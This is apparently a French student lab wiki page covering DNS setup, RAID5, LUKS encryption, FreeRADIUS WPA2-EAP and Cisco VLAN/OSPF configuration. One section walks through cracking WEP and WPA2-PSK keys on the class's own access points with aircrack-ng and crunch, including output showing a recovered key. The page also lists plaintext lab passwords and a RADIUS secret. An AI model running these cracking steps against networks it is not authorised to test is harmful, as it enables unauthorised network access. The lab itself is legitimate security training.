 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
'''RAID5 , c'est quoi ? '''&lt;br /&gt;
On souhaite ensuite créer un RAID (Redundant Array of Inexpensive Disks) afin de rendre notre système de stockage plus robuste. On choisit de faire un RAID5, ce qui va permettre de répartir nos données sur plusieurs partitions et rendre l'accès à ces données plus rapide. &lt;br /&gt;
Nous décidons d'utiliser 3 disques. Ainsi, chaque disque sera composé d'une partie des données mais également d'un bloc destiné à la parité. Par conséquent, si l'un des disques tombe en panne, on pourra le reconstituer grâce aux 2 autres. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RAID5.png]]&lt;br /&gt;
&lt;br /&gt;
'''Création des disques'''&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
On fait pointer le système de fichiers sur nos 3 disques. &lt;br /&gt;
&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
'''Mise à jour du fichier de config de la VM'''&lt;br /&gt;
&lt;br /&gt;
On met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
'''Utilisation de l'utilitaire mdadm pour la gestion du RAID5'''&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm. Cet utilitaire&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
'''Construction du volume RAID'''&lt;br /&gt;
&lt;br /&gt;
 # mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
'''Démonisation du volume RAID'''&lt;br /&gt;
On va maintenant démoniser le volume RAID, c'est à dire faire en sorte que le système charge le volume à chaque démarrage. &lt;br /&gt;
 # mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Formatage du volume RAID'''&lt;br /&gt;
Enfin, on formate le volume.&lt;br /&gt;
 # mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Informations sur notre RAID5'''&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet d'obtenir des informations sur notre volume fraîchement crée. &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:~# mdadm --detail /dev/md0&lt;br /&gt;
 /dev/md0:&lt;br /&gt;
        Version : 1.2&lt;br /&gt;
  Creation Time : Thu Nov 28 16:56:26 2019&lt;br /&gt;
     Raid Level : raid5&lt;br /&gt;
     Array Size : 2095104 (2046.00 MiB 2145.39 MB)&lt;br /&gt;
  Used Dev Size : 1047552 (1023.00 MiB 1072.69 MB)&lt;br /&gt;
   Raid Devices : 3&lt;br /&gt;
  Total Devices : 3&lt;br /&gt;
    Persistence : Superblock is persistent&lt;br /&gt;
    Update Time : Sun Dec  1 01:00:45 2019&lt;br /&gt;
          State : clean &lt;br /&gt;
 Active Devices : 3&lt;br /&gt;
 Working Devices : 3&lt;br /&gt;
 Failed Devices : 0&lt;br /&gt;
  Spare Devices : 0&lt;br /&gt;
         Layout : left-symmetric&lt;br /&gt;
     Chunk Size : 512K&lt;br /&gt;
           Name : ima2a5-zerofun:0  (local to host ima2a5-zerofun)&lt;br /&gt;
           UUID : d0b2e2f1:c1298ca0:c684c1ec:b711b7f0&lt;br /&gt;
         Events : 23&lt;br /&gt;
    Number   Major   Minor   RaidDevice State&lt;br /&gt;
       0     202       19        0      active sync   /dev/xvdb3&lt;br /&gt;
       1     202       20        1      active sync   /dev/xvdb4&lt;br /&gt;
       3     202       21        2      active sync   /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Avec &lt;br /&gt;
 #fdisk -l &lt;br /&gt;
on peut voir nos 3 disques de 1Go et le volume du RAID5 (md0) qui vaut 2 Go.&lt;br /&gt;
 Disk /dev/xvdb3: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/xvdb4: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/xvdb5: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 524288 bytes / 1048576 bytes&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on installe le package qui va nous permettre de crypter la clé USB:&lt;br /&gt;
&lt;br /&gt;
 apt-get install lvm2 cryptsetup&lt;br /&gt;
&lt;br /&gt;
On affiche les périphériques USB disponibles:&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
Attention ces étapes ont pour but de supprimer le contenu de la clé USB:&lt;br /&gt;
&lt;br /&gt;
 fdsik /dev/sda&lt;br /&gt;
 d //permet de supprimer les partitions &lt;br /&gt;
 w // on sauvegarde les modifications &lt;br /&gt;
 n // on crée une nouvelle partition&lt;br /&gt;
 p // pour la rendre primaire &lt;br /&gt;
 1 // on lui donne un numéro de partition &lt;br /&gt;
&lt;br /&gt;
On garde le volume du disque par défaut proposé. &lt;br /&gt;
&lt;br /&gt;
La clé USB est maintenant prête à être chiffrée grâce au package précédemment téléchargé&lt;br /&gt;
&lt;br /&gt;
Chiffrage du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/sda1&lt;br /&gt;
  &lt;br /&gt;
Ouverture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup open --type luks /dev/sda1 home&lt;br /&gt;
 &lt;br /&gt;
Création du système de fichiers&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Montage du périphérique&lt;br /&gt;
&lt;br /&gt;
 mount -t ext4 /dev/mapper/home /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Démontage physique du périphérique&lt;br /&gt;
&lt;br /&gt;
 umount /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Fermeture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup close --type luks home&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
